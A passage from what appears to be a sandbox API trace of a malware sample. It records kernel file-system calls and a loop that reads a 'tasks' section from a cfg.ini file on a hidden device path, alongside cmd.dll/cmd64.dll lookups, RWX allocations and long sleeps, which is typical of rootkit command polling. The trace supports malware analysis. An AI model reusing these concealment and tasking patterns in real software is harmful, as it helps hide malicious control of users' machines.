Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.856] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.856] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.856] IdePortDispatch () returned 0x103 [0118.856] KeWaitForMutexObject () returned 0x0 [0118.856] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.856] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.856] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.856] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.856] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.856] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bce190 [0118.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.856] KeLeaveCriticalRegion () [0118.856] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.856] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.856] KeEnterCriticalRegion () [0118.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.857] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.857] KeLeaveCriticalRegion () [0118.857] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.857] KeEnterCriticalRegion () [0118.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.857] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.857] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.857] IdePortDispatch () returned 0x103 [0118.857] KeWaitForMutexObject () returned 0x0 [0118.857] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.857] KeLeaveCriticalRegion () [0118.857] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.857] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.857] KeEnterCriticalRegion () [0118.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.857] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c34000 [0118.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.857] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.857] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.858] IdePortDispatch () returned 0x103 [0118.858] KeWaitForMutexObject () returned 0x0 [0118.858] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.858] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.858] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.858] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.858] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.858] IdePortDispatch () returned 0x103 [0118.858] KeWaitForMutexObject () returned 0x0 [0118.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.858] KeLeaveCriticalRegion () [0118.858] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.859] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.859] KeEnterCriticalRegion () [0118.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.859] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.859] KeLeaveCriticalRegion () [0118.859] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.859] KeEnterCriticalRegion () [0118.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.859] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.859] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ba0450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.859] KeLeaveCriticalRegion () [0118.859] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.859] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.859] KeEnterCriticalRegion () [0118.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.859] ExFreePoolWithTag (P=0xfffffa8003bce190, Tag=0x0) [0118.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.859] KeLeaveCriticalRegion () [0118.859] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.860] ReleaseMutex (hMutex=0xf0) returned 1 [0118.860] Sleep (dwMilliseconds=0x927c0) [0118.878] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.878] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.878] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.879] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.879] KeEnterCriticalRegion () [0118.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.879] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.879] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.879] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.879] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.879] IdePortDispatch () returned 0x103 [0118.879] KeWaitForMutexObject () returned 0x0 [0118.879] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.879] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.879] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.879] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.879] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.879] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bce290 [0118.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.879] KeLeaveCriticalRegion () [0118.879] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.879] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.880] KeEnterCriticalRegion () [0118.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.880] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.880] KeLeaveCriticalRegion () [0118.880] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.880] KeEnterCriticalRegion () [0118.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.880] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.880] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.880] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.880] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.880] IdePortDispatch () returned 0x103 [0118.881] KeWaitForMutexObject () returned 0x0 [0118.881] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.881] KeLeaveCriticalRegion () [0118.881] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.881] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.881] KeEnterCriticalRegion () [0118.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.881] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c39000 [0118.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.881] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.881] IdePortDispatch () returned 0x103 [0118.882] KeWaitForMutexObject () returned 0x0 [0118.882] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.882] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.882] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.882] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.882] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.882] IdePortDispatch () returned 0x103 [0118.882] KeWaitForMutexObject () returned 0x0 [0118.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.882] KeLeaveCriticalRegion () [0118.882] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.883] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.883] KeEnterCriticalRegion () [0118.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.883] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.883] KeLeaveCriticalRegion () [0118.883] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.883] KeEnterCriticalRegion () [0118.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.883] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.883] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003649ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.883] KeLeaveCriticalRegion () [0118.883] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.883] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.883] KeEnterCriticalRegion () [0118.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.883] ExFreePoolWithTag (P=0xfffffa8003bce290, Tag=0x0) [0118.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.883] KeLeaveCriticalRegion () [0118.883] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.883] ReleaseMutex (hMutex=0xf0) returned 1 [0118.884] Sleep (dwMilliseconds=0x927c0) [0118.904] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.904] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.904] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.904] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.904] KeEnterCriticalRegion () [0118.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.904] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.904] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.904] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.904] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.904] IdePortDispatch () returned 0x103 [0118.904] KeWaitForMutexObject () returned 0x0 [0118.904] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.904] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.904] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.905] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.905] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.905] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc1900 [0118.905] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.905] KeLeaveCriticalRegion () [0118.905] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.905] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.905] KeEnterCriticalRegion () [0118.905] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.905] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.905] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.905] KeLeaveCriticalRegion () [0118.905] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.905] KeEnterCriticalRegion () [0118.905] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.905] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.905] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.905] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.905] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.905] IdePortDispatch () returned 0x103 [0118.905] KeWaitForMutexObject () returned 0x0 [0118.905] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.905] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.905] KeLeaveCriticalRegion () [0118.905] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.906] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.906] KeEnterCriticalRegion () [0118.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.906] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c3e000 [0118.906] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.906] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.906] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.906] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.906] IdePortDispatch () returned 0x103 [0118.906] KeWaitForMutexObject () returned 0x0 [0118.906] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.906] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.906] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.906] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.906] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.906] IdePortDispatch () returned 0x103 [0118.906] KeWaitForMutexObject () returned 0x0 [0118.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.907] KeLeaveCriticalRegion () [0118.907] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.907] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.907] KeEnterCriticalRegion () [0118.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.907] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.907] KeLeaveCriticalRegion () [0118.907] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.907] KeEnterCriticalRegion () [0118.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.907] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.907] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc19c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.907] KeLeaveCriticalRegion () [0118.908] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.908] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.908] KeEnterCriticalRegion () [0118.908] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.908] ExFreePoolWithTag (P=0xfffffa8003bc1900, Tag=0x0) [0118.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.908] KeLeaveCriticalRegion () [0118.908] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.908] ReleaseMutex (hMutex=0xf0) returned 1 [0118.908] Sleep (dwMilliseconds=0x927c0) [0118.927] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.927] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.927] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.927] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.927] KeEnterCriticalRegion () [0118.927] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.928] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.928] IdePortDispatch () returned 0x103 [0118.928] KeWaitForMutexObject () returned 0x0 [0118.928] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.928] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.928] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.928] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.928] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.928] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa62a0 [0118.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.928] KeLeaveCriticalRegion () [0118.928] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.928] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.928] KeEnterCriticalRegion () [0118.928] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.928] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.928] KeLeaveCriticalRegion () [0118.928] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.928] KeEnterCriticalRegion () [0118.928] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.928] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.928] IoAllocateMdl (in: 